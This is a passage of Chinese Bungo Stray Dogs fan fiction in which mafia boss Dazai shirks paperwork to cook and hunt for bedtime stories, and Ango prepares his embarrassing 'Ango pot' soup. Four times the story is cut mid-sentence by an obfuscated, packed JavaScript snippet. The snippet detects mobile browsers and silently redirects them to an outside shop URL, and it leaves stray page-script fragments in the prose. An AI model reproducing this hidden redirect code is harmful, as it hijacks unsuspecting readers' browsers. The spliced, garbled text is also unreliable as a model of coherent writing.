首领就像是港口mafia这个庞然巨物的大脑和中枢神经,他如同最精密的机器一般不知疲倦地运行着,把海量的信息收集起来进行分析和推理,然后在每一个节点做出让组织利益最大化的正确选择。 没有人觉得有什么不对,他们理所当然里遵循着首领的命令和指挥,就像人的手臂和大腿不会质疑自己的大脑。 但是现在,这个大脑没有一开始那么好用了。 “银小姐,上个月的财报首领还没看完吗?”一个西装革履的中年男人一脸为难地站在秘书室门口:“这个……我不是在催您,但是实在是……今天都10号了,这……” 这财报首领这么长时间都没回复,他不会是对我们财务部有什么意见吧? 难道是哪个重要数据出现了错误?哪个会计挪用公款被首领发现了?觉得哪项费用支出得太多了? 这个财务经理越想心里越没底,这几天简直就像坐牢一样难受。 对于财务经理的难处秘书小银也非常理解,但是这件事她也决定不了,她能给出的只有安慰: “铃木经理,首领暂时还没有把财报给我,也没有对此下发任何的指示。不过您放心,应该不是什么大事,最近很多部门的文件也都推迟……” “银小姐,抱歉打扰一下,我们前几天和海外军火商拟定的购买合同首领批准了吗?”小银话音未落,忽然一个采购部门的组长也一脸赔笑地凑过来打听。 “银小姐,分部的人反应这几天在东京那边和山口组发生了冲突,我们是讲和还是继续打?” “银小姐,分公司的股票……” 越来越多的人把秘书室团团围住,没过多久门口就排起了长龙。 “在顶层请大家保持安静!首领没有回复就是没有回复,请各位都先回去耐心等待!”就在秘书小银焦头烂额的时候,忽然一道熟悉的声音给她解了围,众人回过头去一看,竟然是那个“白色死神”中岛敦。 没人敢不给他面子,所以这些西装革履的人只好又愁眉苦脸地回去了。 “多谢你了,中岛君。”秘书小银小小地松了一口气:“如果不是你我真是有得忙了。” “没关系,我也是来找首领的,看到顺手为之而已。”中岛敦走进秘书室闲聊了两句:“不过为什么这么多文件都没回复?首领最近生病了吗?” 一提到这个问题,秘书小银的脸上露出些许为难:“倒是没有生病,不如说首领的状态比之前要好太多了……”好到最近他已经开始疯狂摸鱼了。 因为外勤任务离开了些日子的中岛敦没能理解秘书小银的欲言又止,他又简单聊了几句,便转头离开往首领办公室走去。 在接受过安保细致的搜身和检查之后,守卫们按下了有人来访的门铃,没有让他等待多久,很快办公室的门就缓缓打开了。 一映入眼帘的还是铺天盖地的黑暗,不过位于办公室中间的桌子似乎和以往不同,本来干净整洁的桌面上积压良久的公文堆积成山,昏黄的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16949928|191774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灯光下首领和办公椅一起不见了踪影,中岛敦赶紧环顾一周,这才在房间的角落又发现了一盏暖黄色灯光的落地灯。 而太宰治就拿着一本书盖在脸上,仰躺在办公椅上一晃一晃的,似乎是把身下的皮质办公椅当成了院子里乘凉的摇椅一般。 犹豫片刻,中岛敦还是小心翼翼地开口了:“首领?您还醒着吗?” 不会是累到极致已经睡着了吧? “我没睡哦,敦君。我最近的睡眠很充足。”太宰治立刻拿起脸上的书坐起来,叹了一口气似乎在苦恼:“不过我的确有睡眠方面的难题急待解决,我找不到太合适的睡前故事。” 中岛敦:…… 您不是睡眠很充足吗?那要睡前故事干什么? 太宰治的睡前故事当然不是给自己用的,主要是为了讲给另外两位友人助眠。 尤其是织田作,压力激增之下他的睡眠质量严重下降,就连安吾的金融新闻播报都不太管用了,现在他每天晚上的阅读内容都变成了带着白噪音的心灵疗愈节目。 但是安吾也需要好好睡觉呀,总不能仗着他是个工作狂就每天晚上都让他收尾吧?现在织田作每天晚上都是要他们再三催促才会放下笔休息的,所以算来算去能分担这个重任的当然就只有我了!太宰觉得自己义不容辞。 这属实是触碰到太宰的知识盲区了,让人恨得牙痒痒气得半夜三更睡不着觉的本事他有,但是对于如何让别人安详入睡的技能?太宰表示他只能想到物理助眠(把人打晕)和化学助眠(下安眠药)这两种方式。 这几天他翻遍了各种童话书和内容无聊枯燥的专业书籍,也尝试过自己闭上眼实验效果,但是结果都不理想,就连昏昏欲睡的程度都很难达到。 要不我还是做个活力清炖鸡给他们送过去吧?但是这样副作用太大了,织田作根本就没有太多时间可以耽搁……太宰治想遍了各种方法依然一无所获,最后只好没什么办法地抬头看向中岛敦: “敦君,你有没有什么助眠的好方法?或者有什么睡前故事推荐吗?” 中岛敦:…… 您叫我过来就是为了这个吗? 不过非常可惜的是□□小老虎并没有觉醒吐槽技能,所以对此他只能表示遗憾:“非常抱歉,首领。我没有听过什么睡前故事。” “也是,毕竟敦君晚上是一个人睡呢。”太宰治低头嘀咕了一句,于是暂时放下手里的故事书从椅子上站起来:“算了,先不说那个,那你就汇报一下这次的工作成果吧。” 终于说到了自己熟悉的领域,中岛敦心里松一口气,开始汇报这次的作战结果:“敌方是一群来自租界的雇佣兵……” 太宰治在听过下属的汇报之后又询问了几处细节,在对后续的工作做出一系列部署之后已经半个小时过去,他懒洋洋地活动了一下肩颈开始往办公桌走去:“好的,今天会见下属的工作已经完成……” 接下来就是要继续处理堆成小山的文件了吧,首领真是辛苦啊!准备行礼告退的中岛敦默默在心里感叹道。 “接下来就是硬豆腐的料理研究时间!”太宰治说着弯腰从办公桌下面端出来一堆锅碗瓢盆还有原材料。 中岛敦:…… 所以首领刚才的意思是,今天的工作时间已经结束了吗? 20.第 20 章 中岛敦因为震惊身体在原地停顿了片刻,于是太宰治就捧着一堆厨具奇怪地看过来:“还有什么事吗?敦君?我接下来研究的独家秘方还暂时不打算公开哦~” “不,非常抱歉……”中岛敦站在原地欲言又止,想到围在银小姐办公室的那么一大堆人,他犹豫再三,还是吞吞吐吐地提了一句:“只是财务部的一位先生说上个月的财报还……” 他的视线不自觉看向桌上那摞成小山的文件堆,大部分文件连翻都没翻开,处理完的文件只在桌子的右上角放了单独一摞,虽然数量也很可观,但是和那座文件山比起来简直是杯水车薪。 一提到这个话题,太宰治的脸上也浮现出苦恼的表情:“这也不能怪我吧?每天送上来的文件实在是太多了,我每天从下午五点半批到晚上十一点半还是批不完,大多数还都是一些鸡毛蒜皮的小事!” 说着他小心翼翼地把手里的厨具放下,随手拿起一份最上面的文件打开:“新成员的入职培训和部门分配方案?这种小事交给人事部门不就好了?为什么首领还要负责如此基础的工作?” 说着他又拿起右上角那一厚摞文件交给中岛敦:“只有这些是比较要紧的事,你都拿出去给小银,剩下的那些你让他们自己看着办吧!” 我也是很忙的好吗?吃过早饭之后我要先思考第二天早饭和午饭的菜单,然后还要去研究超人精力锅的可打包版本,中午吃过午饭之后遍览群书挑选合适的睡前故事,下午还要努力复原硬豆腐给织田作和安吾吃…… 在各种事情中间我还要见缝插针地接见下属,听工作汇报,给他们指示下一步工作内容,而那些笨蛋简直就像脑袋断电的机器人偶一样完全不会思考,只知道根据我的指令亦步亦趋的行动! 太宰治忙不过来,太宰治开始思考,最后他决定躺平。 反正他是老大,又不会有忽然冲过来的国木田君拽着他的脖领子逼着他工作。 中岛敦接过手里沉甸甸的文件,又看一看桌上很明显不可能完成的任务,在听过首领的抱怨之后他也忽然惊觉:“的确,首领需要处理的工作实在是太多了,这样很不合理。” 不如说之前那两年首领到底是如何做到的?能坚持到现在才撂挑子太宰先生已经相当努力了吧! 太宰治也跟着点头附和:“对吧?你也觉得这样的工作量很不对头吧敦君?明明森先生在位的时候不是这样的,他每天都还有大把时间去骚扰爱丽丝呢!” 中岛敦虽然没见过那位只在位了两年的森首领,但是对于港口mafia之前的样子他也略有耳闻:“我听说,之前港口mafia有五大干部,也许森首领是把那些工作给分下去了?” 太宰治:…… 对哦,时间太久我都快忘记这个设定了。 其他世界的森鸥外手下有太宰治,尾崎红叶,魏尔伦,中原中也等干部,每个人手下都负责管理着不同的部门,而他作为首领只需要统领全局即可,只有很紧急重要的事情他才会直接插手。 而如今这个世界的森鸥外直接被太宰治给赶下去了,尾崎红叶因为这个离开了港口mafia,魏尔伦更是被太宰治拦在横滨之外压根没出现过,就剩个中原中也还被他一杆子支到欧洲去长期出差,所以所有的工作当然也就积压在太宰治一个人的身上。 这些工作对于之前的首领宰来说没什么,反正不过是等待死亡过程中的消遣而已,但是对于现在已经“活过来”的太宰治来说,这些工作就让人无法忍受了。 “要不,我再重新提拔几个干部来帮我?”中岛敦此时已经带着那些紧急文件离开了,太宰治还靠在办公桌边上努力思索,他把手底下能用的人都扒拉了一遍,绝望地发现能提拔成干部的……一个都没有。 敦君明显还欠磨练,其他人就更没有被封为干部的功劳和资历,说起来主世界的港口mafia可是人才辈出啊,到我这里怎么人才就匮乏成这样? 唉,早知道当初就把安吾留下了,要是让他来担任干部的话,他的表情一定会非常精彩吧? 因为实在是无人可用,太宰治还是一纸调令把远在欧洲的中原中也叫了回来,欧洲那边事情的收尾还要几天时间,所以今天的太宰治也依然在为工作苦恼。 这份苦恼一直持续到晚上,会议室照常打开的时候,他们三个讨论的话题终于不再是织田作的小说了。 “咖喱店的老板想要增加新菜色?”安吾听了织田作之助的话之后忍不住吐槽:“比起那个要不还是改良一下他家辣咖喱的辣度吧?作为招牌菜那款咖喱也太地狱了一点。” “我觉得辣咖喱非常美味,而且也有几个忠实的老顾客喜欢。”织田作之助罕见地放下了自己渐入佳境的小说创作工作,可见这件事对他来说非常重要: “但是因为新顾客太少的缘故咖喱店的营收也越来越少,所以老板决定为了拓展新客源推出一些全新的菜色,安吾,D,你们两个有什么建议吗?” 安吾:…… 我的建议就是赶紧改掉那个能辣死人的咖喱饭啊! 比起安吾的无语,太宰治明显兴奋起来,他一拍桌子:“我……” “超人精力锅不行,D先生。”坂口安吾直接一票否决:“我和织田作先生也就算了,要是其他客人吃了那种玩意出现了什么不良反应,咖喱店老板绝对会赔到倾家荡产的吧?” “嘁!”被否决了提议的太宰治忿忿不平地坐回去:“那不就剩一些普通的料理可选了吗?好无聊!” “客人们是来吃饭的,又不是来找刺激的。”坂口安吾直接无视了太宰治的抱怨给出建议:“我觉得新菜式普通一些也没关系,最重要的是符合大众的胃口,不如就上一些炸猪排和汉堡肉之类的套餐如何?” 织田作之助有点苦恼地摇摇头:“幸介也是这么跟老板建议的,但是老板说那些菜不够有特色,咖喱店的位置本来就很偏了,如果只是上一些普通的菜色顾客根本就没理由过来吃饭。” “没想到老板的要求还挺高的。”太宰摸着下巴一副“只能靠我了”的得意样子:“真是没办法啊,既然是织田作的委托 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16954557|191774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的话,那么我可以贡献出我的独家菜谱——硬豆腐哦~” 坂口安吾谨慎地推一推眼镜:“不会又是什么吃了就要升天的东西吧?” “才不是!就是一种硬得可以撞死人的豆腐而已!”太宰治怒而反驳:“本来我是想做好之后给你们两个送过去的,虽然硬得可以用来敲钉子,但是味道是真的非常美味!” 织田作之助头上的呆毛疑惑地晃一晃:“这么硬的豆腐要怎么吃呢?” 太宰眼神无辜地双手一摊:“我也不知道。” 安吾:…… “那这个玩意有什么用啊!你说了半天不是跟没说一样吗!” “才不是,除了硬度之外我的豆腐是完美的!绝对可以帮助老板招揽很多的客户!”太宰不服气地看着坂口安吾: “而且最起码我还在努力帮忙,安吾你这个根本就不擅长料理的家伙才没有资格批评我的硬豆腐!你要一口气品鉴三块硬豆腐才有资格说话!” “我不擅长料理?”坂口安吾都气笑了:“你每天的早餐是谁在做?” 太宰治很明显是个吃人也毫不嘴软的家伙,面对安吾的质问他毫不心虚:“老板说要特色菜谱,我为了体谅安吾点的可都是非常家常的菜系!” 这幅一边吃还要一边挑挑拣拣的没良心样子,也就只有猫咪滤镜巨厚的坂口安吾还能忍耐下去了,就连世界意识都忍不住在心里吐槽,看来猫永远都认为自己是主人还真是名不虚传。 说到这里,织田作之助忽然想到了什么般坐直身体:“说起来,安吾,你之前是不是说过也有一份独家菜谱?你愿意贡献出来吗?老板说他可以出专利费,买断或者分成都可以。” 坂口安吾的表情开始变得犹豫:“你是说我的独家菜谱吗?要不还是算了吧……说实话,那道菜卖相看上去不太好,我觉得不适合摆在店里出售……” 而且那可是我中二时期捣鼓出来的黑历史,如果可以我简直这辈子都不想去回想了!坂口安吾一想到以前自己中二的样子就已经羞耻的面色发红了。 但是他这幅羞于启齿的样子反而激起了织田作和太宰的兴趣。 “安吾,别害羞嘛!是什么样的独家料理?快说出来让我们听听!”太宰眨着星星眼靠近屏幕:“要和我的硬豆腐组成一个套餐吗?名字就叫做安详去世单人餐!” “叫这种名字谁会想吃啊!”坂口安吾忍不住反驳。 “我很想吃。”织田作之助头上的呆毛疯狂摇晃,他直接把这事儿当真了:“这个套餐要什么时候才能上架呢?我有点想尝尝。” “已经有顾客开始期待了吗?真是太好了呢安吾大厨!快快开始我们的烹饪时间吧!”太宰兴奋地站起来,随手就从桌子旁边拽过来一堆锅碗瓢盆:“It''s show time!” 根本插不上话的坂口安吾:…… 正上着班呢你到底是从哪里拽出的那些东西啊! 而且这个熟悉的一唱一和,织田作先生和太宰君彻底混熟了,所以就又开始合伙迫害我了是吗? 21.第 21 章 织田作先生和太宰君的搭配一如既往的默契,坂口安吾实在是被这两个人缠得没有办法,最后他还是妥协了:“好吧,我可以做。不过今天不行,我需要时间准备。” 这下子太宰治就更加好奇了,他趴在桌子上凑近屏幕,整个人恨不得从屏幕钻过去:“准备什么?到底是什么样的料理啊?” “也,也没什么特别的。”坂口安吾的目光不自然地移开:“就是一锅做法稍微复杂的汤而已,为了吊高汤所以必须提前八个小时开始熬煮。” 其实以前他一般会小火熬煮整整三天,但是那种坚持并不是因为什么口感和味道之类的东西,单纯是中二少年觉得这样很酷。 “只有这样浓稠的滋味才是堕落的味道!” “你们这些愚蠢的凡人才不懂堕落者的品味!” “果然我的灵魂没人能懂,这就是世人皆醉我独醒的孤独啊!” 中二期的不良少年安吾经常一边感叹着一些听起来就让人脚趾抠地的话一边兴致勃勃地熬制安吾锅,但是看到那种诡异的颜色和奇怪的质感根本就没人敢下筷子,所以安吾就会一边感叹着寂寞啊黑暗啊之类的话一边在众人惊恐的目光中把那堆不明物质吃进肚子。 “明明是如此美味的料理,为什么就是没人理解我呢?”中二少年打了个饱嗝,抬头四十五度仰望天空:“拘泥于外表的偏见,这个世界真是无趣啊!” 因为这些回忆实在是一想起来就能尴尬到让人夜半三更躲在被子里疯狂锤床的程度,所以一般安吾都会把这段记忆丢在脑海的最角落暗示自己不要想起,如今一朝被太宰君和织田作先生翻出来,安吾尴尬得恨不得以头跄地。 他不忍直视地低下头捂住眼睛,露出来的两只耳朵通红一片:“织田作先生,D先生,要不还是算了吧,说实话那种东西味道很一般的,而且卖相真的非常糟糕……” 看到他这个样子,织田作和太宰更加不可能放过他了。 “我要吃我要吃!”太宰彻底精神起来:“既然是高汤我就更要尝尝啦!这道菜叫什么名字?安吾~,快告诉我嘛~” 都开始拖长着尾音撒娇了,可见太宰治已经彻底放飞了自我。 “就,就是普通的汤啊……”坂口安吾负隅顽抗。 “安吾好过分!我都毫无保留地分享了我的硬豆腐和超人精力锅呢,安吾怎么不告诉我独家料理的名字?”太宰开始在屏幕前闹腾着撒欢了,双手抱着笔记本电脑晃来晃去:“这样不公平!安吾难道还对我有所保留吗?我好伤心~” “安吾,既然D都那么说了你就告诉他吧。”织田作之助开始语气平常地拉偏架:“毕竟你都知道超人精力锅和硬豆腐了。” 如果不是他头上疯狂摇晃的呆毛,乍一看去就好像他真的对这事儿毫无兴趣似的。 光是太宰一个坂口安吾就从来没有赢过,如今再加上一个织田作之助对他来说更是绝杀,他艰难地抵抗了五分钟不到,最后还是耐不住软磨硬泡说出了那个令他无比羞耻的名字:“安吾锅……” 他声音小得像蚊子哼哼。 “嗯?叫什么?”太宰没听清又凑近了一点。 坂口安吾叹一口气,不忍直视地扶住额头:“叫安吾锅。” 啊啊啊啊啊啊!当时我为什么要用自己的名字给一道菜命名啊!随便叫个蔬菜乱炖之类的不好吗?坂口安吾忍不住在心里疯狂呐喊。 事实证明,人甚至无法共情年少时候的自己。 果然,听到这个名字,太宰忍不住笑了:“哈哈哈,安吾,你还挺热爱料理的嘛,这名字起的好,听起来你就像是某种珍贵的食材!” 织田作之助蔚蓝色的眼睛里也带着几丝笑意:“竟然用自己的名字命名吗,看来安吾真的很喜欢这道料理。”说着他也学着太宰君的样子凑近屏幕:“糟糕,我真的越来越期待这道料理了。” 坂口安吾在好友们调侃的目光下根本无地自容,他又一次抽出文件把自己的脸挡住:“工,工作的时间到了!我们现在应该停止闲聊努力工作!” 看着坂口安吾低下头装作一副非常忙碌的样子,太宰治大发慈悲地放过了他:“那我们厨艺交流的时间就定在这周六的晚上吧,安吾。如果敢跑路的话我就注册一个安吾牌的汤锅卖遍大街小巷哦~” 安吾:…… 太宰君,你是魔鬼吗? 因为准备时间过长的原因,坂口安吾幸运地获得了几天缓刑的时间,而当天晚上也是太宰君第一次拿出故事书表示自己也可以讲睡前故事帮助好友入眠,本来就无地自容的坂口安吾迫不及待地关掉了视频,伴随着太宰讲述的一些自编无厘头致郁小故事,安吾和织田作逐渐在床上闭上了眼睛。 反正是失去意识了,至于是睡着了还是气晕了你别管。 在确认了会议室另外两人的呼吸都平缓下来之后,太宰退出了会议室,这一次他并没有直接睡觉,反而是从枕头下摸出来一本书开始翻阅。 毕竟今天才周四,距离周六可还有整整两天呢,但是太宰实在是太好奇了,于是他试图在其他世界寻找到一些关于安吾锅的记忆。 再一次把其他世界太宰治的记忆浏览了一遍之后,首领宰果然没有找到任何一点关于安吾锅的情报,倒是知道了主世界的安吾似乎不见了,那里的太宰治正在一刻不停地寻找。 为什么会有太宰治能把安吾给弄丢了啊?你怎么不干脆把自己也弄丢算了!首领宰一脸嫌弃地合上书,开始继续思考关于安吾锅的问题。 毫无疑问的是,其他世界的安吾无论在何种情景之下,从来都对安吾锅的存在绝口不提,哪怕是被活力清炖鸡和超人精力锅反复荼毒,他也从来没有透露过自己会做这样一道料理。 为什么在其他的世界他不透露?又为什么在这个世界他透露了?首领宰躺在床上闭目沉思,开始分析造成这种差异的原因。 自己的世界和其他世界一个最明显的差异就是安吾的身份变了,他不是一个卧底,而是以自己本来的身份在与我和织田作相处。 可是安吾锅这件事其实并不是一件能暴露自己身份和工作的机密,正相反,它是一件无关紧要的趣事,就像是织田作的辣咖喱和我的活力清炖鸡一样,正适合在lupin作为一个话题分享,但是为什么安吾却没说过呢…… 思考到这里,太宰猛然发现一个问题,他坐起来又把那本书翻出来,着重翻阅了一下其他世界关于安吾的记忆,然后他终于确认——其实其他世界的安吾从没主动分享过任何一件有关自己的事,哪怕只是一件无关紧要的趣闻。 无论是喜好兴趣还是所思所感,哪怕是在lupin那个只是谈些琐碎之事的地方他也大多在吐槽或者附和,偶尔有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962282|191774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几个欲言又止的瞬间也稍纵即逝,快得就像蜻蜓点水,再想深究的时候已经没有一点痕迹。 因为当时他们三个在lupin的相处本来就十分有距离感,再加上安吾本身又是个工作狂,工作内容还全是些需要保密的无聊之事,所以太宰从没有在意过这个,如今想来,身为间谍的安吾其实才是他们之中心防最重的那个。 太宰和织田作之助还曾经在最后的离别之际敞开心扉地交谈过,太宰知道织田作之助的坚持和理想,织田作之助也看到了太宰的迷茫和孤独。 但是安吾呢?他有什么兴趣爱好?为什么选择异能特务科?有什么未曾实现的遗憾或者理想吗?作为三面间谍在不同的组织和人之间游走时心里又在想着什么? 没有人知道,他的一切都隐藏在黑暗里。 太宰呼一口气躺回床上,忽然发现原来自己对安吾的了解比自己以为的要少得多。 但是说安吾不在意这段友谊也不对,事实上他对待自己和织田作其实也是在意的,只不过这种在意一般都非常委婉。 比如其他世界的安吾在为太宰吃饭的事情忧心的时候就并不会像自己的安吾一样直接出手干预,但是他会在包里常备一些吃的东西,每次遇到就随口问一句,语气平常的就像是在问对方要不要吃一颗口香糖。 “吃饼干吗?太宰君?”他从包里拿出几袋零食,自己先拆开一袋,然后再随意地看向一边的太宰治,如果有其他人在场他也会挨个问过去,太宰接受他就递过去,拒绝他也不纠缠,同事之间这样的分享稀松平常,没有人会把这种事儿放在心上。 虽然安吾那个认真的性格忽然做起了零食分享有点违和,但是考虑到他毕竟是一个忙起来连饭都吃不上的可怜社畜,所以对于这种忙里偷闲的进食行为同事们一般都会表示理解。 他就这样把自己的关心藏在礼貌而疏离的社交礼仪之下,太宰接受他也不会走近一步,太宰拒绝他就立刻退开,就连最后身份被揭穿之后的挽留也是小心翼翼的,太宰和织田作拒绝,他也配合地转身就走。 这就是安吾作为卧底给自己戴上的枷锁,他必须比其他人更小心,更疏离,就算想要袒露些什么也没有底气,他比太宰更清晰地知道,这段情谊在不远的将来就会走到终点。 还能说些什么呢?我不过是一个可恶的叛徒而已。 想通了一切的太宰治:…… 怎么这样!哪怕是在lupin安吾也一直把自己包裹得那么严实吗?太过分了!他气呼呼地翻了一个身。 明明真实的安吾也会主动干预朋友的不良习惯的,而且他还喜欢做黑暗料理,还会中二到给喜欢的料理起自己的名字!这些我居然都不知道!安吾背地里还不知道瞒了我多少秘密呢! 本来太宰已经生气到想要打电话把安吾再叫起来控诉他的恶行了,但是转念一想,不对啊,那是其他世界的安吾,和我的安吾有什么关系? 我这里的安吾可不是这样的,他会主动提议开会议视频规范织田作的作息,还会把自己喜欢的独家料理告诉我们,而且过几天我就要成为唯一一个吃到安吾锅的太宰了! 别的太宰都没有,就让他们羡慕去吧,一辈子也不会有安吾给他们做安吾锅! 首领宰心里的气终于顺了,他放松躺下,在对安吾锅的期待和好奇中缓缓陷入沉睡。 22.第 22 章 安吾锅的制作的确是一件非常麻烦的事情,从周五开始安吾就买回了各式各样的食材,周六一大早,他就早早地爬起来开始切菜烧汤了。 就在他刚把切好的菜放进锅里的时候,忽然怀里的手机震了好几下,安吾叹口气拿出来一看,果然是那个好奇心旺盛的太宰在坚持不断地骚扰他。 安吾?安吾?你的安吾锅做到哪一步了?让我看一下嘛!——D先生 要不我们打开会议室吧?我们来进行厨房对决!——D先生 安吾锅里都有什么东西?可以放螃蟹吗?——D先生 接连好几条信息在通知栏刷屏,明明现在才早上六点,太宰看起来却似乎已经完全等不及了。 虽然不知道为什么,但是总感觉太宰好像非常在意这个安吾锅的样子,是有什么缘由吗?安吾疑惑地皱起眉头。 毕竟他在之前的世界也完全没提过安吾锅这回事,所以从没见过安吾锅的太宰君按理来说应该不会如此期待才对啊?冥思苦想半天安吾也没想出答案,最后只能把它当成黑暗料理爱好者之间的惺惺相惜。 D先生,现在才六点,你这么早就起来了?——安吾 因为我也要做硬豆腐嘛!说好了今天晚上是安详去世单人餐的初次亮相,我们一定要给织田作留下一个好印象!——D先生 光是这个槽点满满的名字就已经很难有好印象了,D先生。——安吾 怎么可能?这是多么美妙的名字啊!对了,刚才织田作给我发信息来着,他说他受我们两个的启发准备自制一份辣咖喱饭,这下我们的套餐连主食也有了呢!真是太棒了!——D先生。 ……那很坏了,感觉吃过之后很难死得安详,应该叫地狱绘卷套餐才对。——安吾 那也很不错啊!今天晚上我们三个就一起踏上去往三途川的旅途吧!——D先生。 安吾:…… “唉,好可怕,我真的不能逃跑吗?”他捂着额头默默崩溃:“就说我今天晚上有急事需要加班……” “然后安吾牌汤锅就会在第二天出现在横滨的大街小巷了呢,宿主。”世界意识语气同情地提醒:“以前几个时间线太宰治的行动力来看他绝对能做出来这种事,我劝你还是认命吧。” 安吾闭上眼睛思考片刻,不得不承认世界意识说的有些道理,所以他只好老老实实地回到锅边,把各种各样的蔬菜切成块倒进锅里,再添上足够多的水之后将煤气开到小火。 很快锅里的水咕嘟咕嘟开始冒泡,厨房里蔬菜的香气逐渐弥漫,世界意识虽然没有鼻子,但是他同样感受到了: “闻起来还不错,我觉得安吾锅可能是地狱绘卷套餐里唯一一道正常的菜了,就像你这个人是他们三个里唯一一个正常人一样,宿主。” 是的,在世界意识看来坂口安吾实在是太过正常了,除了比较溺爱其他两个人之外几乎没有槽点,以至于世界意识都有点担心宿主加入太宰和织田作之助会不会遭到排挤。 面对世界意识的夸奖,坂口安吾看着咕嘟咕嘟冒泡的锅露出复杂的神情: “世界意识先生,人类是一种很复杂的生物,表面正常内里不一定正常,如今正常不代表过去一直正常,就像这道菜一样,现在正常不代表它出锅的时候依然正常。” 世界意识被一通正常不正常的绕口令绕晕了,半天没反应过来坂口安吾的意思,直到锅里的水开始沸腾,它才放弃纠结这个话题转而出言提醒:“宿主,水开了。” “嗯,我知道。”坂口安吾并没有把汤倒出来或者把火关掉,他拿起汤勺最后搅拌了一下锅里的蔬菜汤之后,盖上锅盖,把火拧成最小,然后就转身离开了厨房,独留下锅里还在沸腾状态的汤不停地熬煮。 “宿主,如果再不把汤盛出来蔬菜就变成糊了。” “我知道,世界意识先生。”坂口安吾走得头也不回:“但是也没人规定糊状的东西不能成为料理吧?” 世界意识:…… 事已至此,它终于觉得有点不对:“安吾锅到底是一道什么样的料理?” “如果以世俗的眼光去看,它是一道失败的黑暗料理。”坂口安吾走回客厅在沙发上坐下,随手打开电视准备打发一下时间: “但是如果你拿这个问题去问发明者本人的话,那它就是一道反抗和叛逆的料理。” “反抗?叛逆?”世界意识疑惑不解:“用料理吗?” “因为也没有别的反抗方式了吧。”坂口安吾靠在沙发上苦笑一声:“想象一下,你在一个连坐姿不对都会被严厉训斥的古板家族长大,一举一动都有一屋子的仆人监视着你。 小到每天穿的衣服读的书,大到几岁结婚未来的职业,明明是你自己的人生,但是你却一个字都做不了主。弱小的你想要反抗但是又无能为力,只能眼睁睁地看着自己被一点一点地规训成他们计划中的样子……” 世界意识不知道为什么忽然想起坂口安吾那带着洁癖和强迫症般的生活习惯,工整干净宛如印刷体一般的写字笔迹,还有那个跟人说话必带敬语的说话方式…… 它一时竟不知道说什么好,只能闭上嘴保持沉默。 坂口安吾也意识到自己说的似乎有点多了,不知道是不是因为世界意识不是人类的原因他跟对方说话总有一种在脑海里自言自语的松弛感,所以总是会不小心就泄露出一些心里活动。 低着头沉默片刻之后,坂口安吾选择跳过这个沉重的话题: “请您不必在意,世界意识先生。其实这道料理就是我以前叛逆期做出来的,为了显得与众不同所以特意选取了和正常烹饪完全相反的方式。比如,在应该把蔬菜捞出来的时候选择继续煮。” 世界意识默契地跟着跳过了这个话题,之前几个时间线里与太宰治的拉扯让它学会了一个道理,那就是随意去接触一个人心里的伤疤是非常危险的行为,关系不亲近到一定程度,哪怕只是给出安慰都有可能直接激怒对方。 很少有人愿意冒这个风险的,所以人类就只能一辈子带着伤疤将就着往下活。 “那要煮到什么时候?我觉得现在锅里的东西已经变成糊了。”世界意识配合着转移了话题,就好像刚才偶然袒露的心声并不存在。 于是坂口安吾心里也松一口气,他拿起遥控器随便调到一个新闻频道:“还要继续煮很久很久 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16967604|191774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只是变成糊状还远远不够。” 事实证明,这道安吾锅真的是怎么与正常烹饪方式对着干就怎么来。 比如正常的料理在煮的时候都是先放肉再放菜,安吾锅就偏要先放菜再放肉;比如正常的料理都应该及时把蔬菜捞出来吃它的鲜脆,安吾锅就偏偏把一大堆的蔬菜放进锅里煮到完全化掉;再比如正常的料理出锅之前会放一些盐或者糖之类的调味料,但是安吾锅就完全舍弃了这个流程…… 最后安吾锅的汤底就变成了一团黏稠的史莱姆状流体,里面还混合着一些剁碎的羊肉块和死不瞑目的螃蟹尸体,不知道是被紫菜还是甘蓝或者其他什么东西染成了蓝中带紫的颜色,在打开锅盖之后还不停地往外冒黑烟。 世界意识:…… “虽然我理解你想要叛逆和反抗的决心,但是……这个玩意儿它真的能吃吗?” 